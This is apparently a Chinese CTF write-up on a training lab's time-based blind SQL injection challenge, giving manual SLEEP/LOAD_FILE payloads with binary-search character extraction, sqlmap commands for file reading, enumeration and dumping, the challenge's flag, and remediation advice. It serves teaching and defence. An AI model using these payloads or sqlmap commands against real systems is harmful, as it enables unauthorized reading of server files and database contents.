【好靶场】SQL注入-时间盲注

【好靶场】SQL注入-时间盲注:使用手工Payload与SQLMap读取Flag

  • 【好靶场】SQL注入-时间盲注:使用手工Payload与SQLMap读取Flag
    • 一、题目信息
    • 二、时间盲注原理
    • [三、手工判断 SQL 注入](#三、手工判断 SQL 注入)
      • [1. 正常请求](#1. 正常请求)
      • [2. 测试无条件延迟](#2. 测试无条件延迟)
      • [3. 测试真条件](#3. 测试真条件)
      • [4. 测试假条件](#4. 测试假条件)
    • 四、推测后端查询结构
    • [五、手工读取 `/tmp/flag.txt`](#五、手工读取 /tmp/flag.txt)
      • [1. 判断文件是否有内容](#1. 判断文件是否有内容)
      • [2. 判断文件长度](#2. 判断文件长度)
      • [3. 判断某个字符](#3. 判断某个字符)
    • 六、二分法读取字符
    • [七、使用 SQLMap 自动检测](#七、使用 SQLMap 自动检测)
      • [1. 基础检测命令](#1. 基础检测命令)
    • [八、使用 SQLMap 读取 Flag 文件](#八、使用 SQLMap 读取 Flag 文件)
    • [九、如果 Flag 位于数据库字段中](#九、如果 Flag 位于数据库字段中)
      • [1. 枚举数据库](#1. 枚举数据库)
      • [2. 枚举指定数据库的表](#2. 枚举指定数据库的表)
      • [3. 枚举指定表的字段](#3. 枚举指定表的字段)
      • [4. 导出 Flag 字段](#4. 导出 Flag 字段)
    • [十、SQLMap 缓存问题](#十、SQLMap 缓存问题)
    • 十一、题目结果
    • 十二、漏洞修复
      • [1. 不要拼接 SQL](#1. 不要拼接 SQL)
      • [2. 使用参数化查询](#2. 使用参数化查询)
      • [3. 限制数据库文件权限](#3. 限制数据库文件权限)
      • [4. 其他防护措施](#4. 其他防护措施)
    • 十三、总结

【好靶场】SQL注入-时间盲注:使用手工Payload与SQLMap读取Flag

合规声明 :本文仅记录授权 CTF / Web 安全教学靶场中的测试过程。文中请求范围仅限题目指定的 hbc2.haobachang.com:12800,不得将相关 Payload、命令或方法用于其他未授权目标。

一、题目信息

  • 题目类型: SQL 注入------时间盲注
  • 靶场地址: http://hbc2.haobachang.com:12800
  • 测试接口: GET /check?id=用户输入
  • 测试参数: id

页面通过以下方式发起请求:

javascript 复制代码
fetch(`/check?id=${encodeURIComponent(userId)}`)

因此实际测试 URL 为:

text 复制代码
http://hbc2.haobachang.com:12800/check?id=1

接口即使查询条件不同,通常也会返回相同格式的 JSON,无法直接通过响应正文判断查询结果,所以需要观察响应时间。


二、时间盲注原理

时间盲注不会直接把查询结果显示给攻击者,而是利用条件语句控制数据库延迟函数:

sql 复制代码
IF(条件为真, SLEEP(延迟秒数), 0)

执行效果如下:

text 复制代码
条件为真    -> 执行 SLEEP(),HTTP 响应明显变慢
条件为假    -> 不执行延迟,HTTP 响应快速返回

常见数据库延迟函数:

数据库 常见延迟函数
MySQL / MariaDB SLEEP(秒数)
PostgreSQL pg_sleep(秒数)
SQL Server WAITFOR DELAY '00:00:02'
Oracle DBMS_LOCK.SLEEP(2)

本题使用的是 MySQL / MariaDB 语法。


三、手工判断 SQL 注入

1. 正常请求

text 复制代码
/check?id=1

正常情况下接口很快返回,例如:

json 复制代码
{"message":"查询完成","status":"success"}

2. 测试无条件延迟

text 复制代码
/check?id=1 AND SLEEP(2)

如果响应时间增加约两秒,说明输入内容被拼接进了 SQL,并且数据库执行了 SLEEP(2)

3. 测试真条件

text 复制代码
/check?id=1 AND IF(1=1,SLEEP(2),0)

由于 1=1 为真,请求会产生明显延迟。

4. 测试假条件

text 复制代码
/check?id=1 AND IF(1=0,SLEEP(2),0)

由于 1=0 为假,请求不会延迟,响应时间恢复正常。

因此可以确认基本注入结构为:

sql 复制代码
1 AND IF((条件),SLEEP(1),0)

本题 id 参数处于数字型 SQL 上下文中,不需要使用单引号闭合。


四、推测后端查询结构

后端可能存在类似代码:

python 复制代码
user_id = request.args.get("id")
sql = "SELECT * FROM users WHERE id = " + user_id
cursor.execute(sql)

当传入:

text 复制代码
1 AND IF(1=1,SLEEP(2),0)

SQL 可能变成:

sql 复制代码
SELECT * FROM users
WHERE id = 1 AND IF(1=1,SLEEP(2),0)

如果用户输入直接进入 SQL 语句,而不是通过参数化查询传递,就可以利用 AND 增加任意条件,并使用时间差异推断数据。


五、手工读取 /tmp/flag.txt

1. 判断文件是否有内容

text 复制代码
/check?id=1 AND IF(LENGTH(LOAD_FILE('/tmp/flag.txt'))>0,SLEEP(1),0)

如果响应变慢,则说明:

sql 复制代码
LENGTH(LOAD_FILE('/tmp/flag.txt')) > 0

成立,即文件存在可读取内容。

2. 判断文件长度

例如判断文件长度是否为 17:

text 复制代码
/check?id=1 AND IF(LENGTH(LOAD_FILE('/tmp/flag.txt'))=17,SLEEP(1),0)

也可以使用大于、小于条件配合二分法寻找长度:

sql 复制代码
LENGTH(LOAD_FILE('/tmp/flag.txt')) > n

3. 判断某个字符

读取第一个字符,并判断其 ASCII 码是否大于 79:

text 复制代码
/check?id=1 AND IF(ASCII(SUBSTRING(LOAD_FILE('/tmp/flag.txt'),1,1))>79,SLEEP(1),0)

其中:

sql 复制代码
SUBSTRING(LOAD_FILE('/tmp/flag.txt'),1,1)

表示读取文件内容的第一个字符。

sql 复制代码
ASCII(...)

表示将该字符转换为 ASCII 数值。


六、二分法读取字符

假设当前读取第 pos 个字符,使用以下表达式:

sql 复制代码
ASCII(SUBSTRING(LOAD_FILE('/tmp/flag.txt'),pos,1))

构造判断:

sql 复制代码
ASCII(SUBSTRING(LOAD_FILE('/tmp/flag.txt'),pos,1)) > mid

再嵌入时间盲注:

sql 复制代码
1 AND IF(
    ASCII(SUBSTRING(LOAD_FILE('/tmp/flag.txt'),pos,1)) > mid,
    SLEEP(1),
    0
)

将可打印字符的 ASCII 范围设置为 32~126

text 复制代码
low = 32
high = 126
mid = (low + high) // 2

根据响应结果更新范围:

text 复制代码
响应变慢:ASCII 值大于 mid,令 low = mid + 1
响应正常:ASCII 值小于等于 mid,令 high = mid

直到 low == high,即可得到当前字符:

python 复制代码
character = chr(low)

pos=1、2、3... 逐个执行即可恢复完整 flag。相比从字符集中逐一尝试,二分法可以减少请求次数。


七、使用 SQLMap 自动检测

1. 基础检测命令

bash 复制代码
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
  -p id \
  --batch \
  --flush-session \
  --level=1 \
  --risk=1 \
  --technique=T \
  --time-sec=1 \
  --threads=1 \
  --timeout=10 \
  --retries=1

参数说明:

参数 作用
-u 指定本题授权 URL
-p id 只测试 id 参数
--batch 自动选择默认选项
--flush-session 清除旧的 SQLMap session
--level=1 使用基础测试级别
--risk=1 使用低风险测试
--technique=T 只使用时间盲注
--time-sec=1 设置时间盲注延迟参考值
--threads=1 限制并发,降低误判概率
--timeout=10 HTTP 请求超时时间
--retries=1 请求失败时重试一次

识别成功后,SQLMap 通常会显示类似结果:

text 复制代码
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
back-end DBMS: MySQL / MariaDB

八、使用 SQLMap 读取 Flag 文件

本题优先尝试直接读取目标文件:

bash 复制代码
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
  -p id \
  --dbms=MySQL \
  --technique=T \
  --time-sec=1 \
  --threads=1 \
  --level=1 \
  --risk=1 \
  --timeout=10 \
  --retries=1 \
  --batch \
  --flush-session \
  --file-read=/tmp/flag.txt

关键参数为:

text 复制代码
--file-read=/tmp/flag.txt

SQLMap 会尝试利用 MySQL 的文件读取能力获取目标文件,并保存到本地 SQLMap 输出目录。

SQLMap 常见输出目录结构如下:

text 复制代码
~/.local/share/sqlmap/output/hbc2.haobachang.com/files/

可以查看下载的文件:

bash 复制代码
cat ~/.local/share/sqlmap/output/hbc2.haobachang.com/files/_tmp_flag.txt

如果输出的是十六进制字符串,可以使用:

bash 复制代码
echo "十六进制内容" | xxd -r -p

注意:时间盲注请求较慢,建议保留:

text 复制代码
--threads=1

不要对授权靶场进行高并发请求,以免网络抖动导致 SQLMap 误判或服务端连接重置。


九、如果 Flag 位于数据库字段中

如果文件读取方式不可用,也可以使用 SQLMap 枚举数据库。

1. 枚举数据库

bash 复制代码
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
  -p id \
  --dbms=MySQL \
  --technique=T \
  --dbs \
  --batch \
  --flush-session \
  --threads=1 \
  --timeout=10 \
  --retries=1

2. 枚举指定数据库的表

bash 复制代码
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
  -p id \
  --dbms=MySQL \
  --technique=T \
  -D 数据库名 \
  --tables \
  --batch \
  --threads=1 \
  --timeout=10 \
  --retries=1

3. 枚举指定表的字段

bash 复制代码
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
  -p id \
  --dbms=MySQL \
  --technique=T \
  -D 数据库名 \
  -T 表名 \
  --columns \
  --batch \
  --threads=1 \
  --timeout=10 \
  --retries=1

4. 导出 Flag 字段

bash 复制代码
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
  -p id \
  --dbms=MySQL \
  --technique=T \
  -D 数据库名 \
  -T 表名 \
  -C flag \
  --dump \
  --batch \
  --threads=1 \
  --timeout=10 \
  --retries=1

如果已知目标表达式,也可以在手工 Payload 中使用:

sql 复制代码
(SELECT flag FROM flag LIMIT 1)

例如判断长度:

text 复制代码
1 AND IF(LENGTH((SELECT flag FROM flag LIMIT 1))>10,SLEEP(1),0)

十、SQLMap 缓存问题

SQLMap 通常会以主机名作为输出目录的一部分。如果同一域名的不同端口之前测试过其他题目,可能出现历史 session 干扰。

首次检测建议使用:

bash 复制代码
--flush-session

需要重新获取数据时可以加:

bash 复制代码
--fresh-queries

也可以指定独立输出目录:

bash 复制代码
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
  -p id \
  --dbms=MySQL \
  --technique=T \
  --batch \
  --flush-session \
  --output-dir="/tmp/sqlmap-hbc2-12800"

不要直接复用其他端口的 session 结果,应以当前 12800 端口重新检测到的注入点和数据为准。


十一、题目结果

通过时间盲注读取 /tmp/flag.txt 后,内容末尾带有换行符。去掉换行后得到:

text 复制代码
flag{9bedfcd439}

十二、漏洞修复

1. 不要拼接 SQL

存在漏洞的写法:

python 复制代码
user_id = request.args.get("id")
sql = "SELECT * FROM users WHERE id = " + user_id
cursor.execute(sql)

2. 使用参数化查询

推荐写法:

python 复制代码
raw_id = request.args.get("id", "")

try:
    user_id = int(raw_id)
except ValueError:
    return {"error": "invalid id"}, 400

cursor.execute(
    "SELECT * FROM users WHERE id = %s LIMIT 1",
    (user_id,)
)

参数化查询会让数据库驱动把用户输入当作数据,而不是 SQL 语句的一部分。

3. 限制数据库文件权限

本题中还涉及:

sql 复制代码
LOAD_FILE('/tmp/flag.txt')

生产环境中应:

  • 禁止业务数据库账户使用不必要的 FILE 权限;
  • 限制数据库进程读取敏感文件;
  • 使用最小权限账户;
  • 不将敏感信息放在数据库进程可读取的目录中。

4. 其他防护措施

  • id 参数进行严格整数校验;
  • 设置查询和请求超时;
  • 对异常延迟请求进行监控;
  • 增加接口访问频率限制;
  • 避免返回详细 SQL 错误;
  • 不要依赖单纯的关键字黑名单过滤 SQL 注入。

十三、总结

本题解题流程:

text 复制代码
访问 /check?id=1
    ↓
使用 IF(条件,SLEEP(1),0) 验证时间盲注
    ↓
判断后端为 MySQL / MariaDB
    ↓
使用 LOAD_FILE('/tmp/flag.txt') 作为目标表达式
    ↓
二分判断文件长度
    ↓
逐字符二分判断 ASCII 值
    ↓
恢复完整 Flag

核心 Payload:

sql 复制代码
1 AND IF((条件),SLEEP(1),0)

核心 SQLMap 命令:

bash 复制代码
sqlmap -u "http://hbc2.haobachang.com:12800/check?id=1" \
  -p id \
  --dbms=MySQL \
  --technique=T \
  --time-sec=1 \
  --threads=1 \
  --batch \
  --flush-session \
  --file-read=/tmp/flag.txt

最终 Flag:

text 复制代码
flag{9bedfcd439}
相关推荐
数据库小学妹1 小时前
MySQL长事务复盘:Sleep连接、MDL排队与undo滞留
运维·数据库·mysql
半摆烂日常2 小时前
自建WMS和买成品:三年成本对比
大数据·服务器·数据库·python·深度学习·低代码·numpy
风123456789~2 小时前
【架构专栏】第6章 数据库设计基础知识 1/4
数据库·架构
Nturmoils2 小时前
异构数据同步不只追延迟:用 KFS 守住不停机迁移的每一笔账
数据库
星星落进兜里2 小时前
Redis 内存缓存,面试补充
数据库·redis·面试
棣廷3 小时前
初识MySQL——DQL数据查询语言详解
数据库·mysql
大模型码小白3 小时前
ChatGPT 的回答也能被结构化抓取?AI Bot Scraper 对比测评
服务器·开发语言·数据库·人工智能·spring·chatgpt
天涯柳絮3 小时前
SQL注入
数据库·sql·网络安全
API快乐传递者3 小时前
淘宝海外商品详情接口实战指南:从全球开放平台到跨境铺货的全链路方案
java·前端·数据库
tachibana23 小时前
复杂的 RAG 范式
数据库·人工智能·ai·大模型·agent